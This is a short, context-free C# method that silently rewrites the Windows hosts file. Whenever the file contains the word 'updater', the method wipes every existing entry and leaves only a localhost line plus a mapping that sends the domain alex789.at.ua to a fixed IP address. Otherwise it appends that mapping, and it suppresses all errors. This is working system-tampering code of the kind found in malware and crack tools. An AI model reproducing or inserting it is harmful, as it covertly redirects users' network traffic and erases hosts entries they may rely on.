public void hosts_up()
        {

            string texttowrite = "85.236.0.77 alex789.at.ua";
            string textsearch = "updater";
            try
            {

            string text2 = File.ReadAllText(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers/etc/hosts"), Encoding.UTF8);
                if (text2.Contains(textsearch))
                {
                    using (StreamWriter sw = new StreamWriter(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers/etc/hosts"), false, System.Text.Encoding.Default))
                    {
                        sw.WriteLine("127.0.0.1 localhost" + Environment.NewLine + texttowrite + Environment.NewLine);
                    }
                }

                string text = File.ReadAllText(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers/etc/hosts"), Encoding.UTF8);

                if (!text.Contains(texttowrite))
            {
                using (StreamWriter w = File.AppendText(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "drivers/etc/hosts")))
                {
                    w.WriteLine(Environment.NewLine + texttowrite + Environment.NewLine);
                }
            }
            }
            catch { }
        }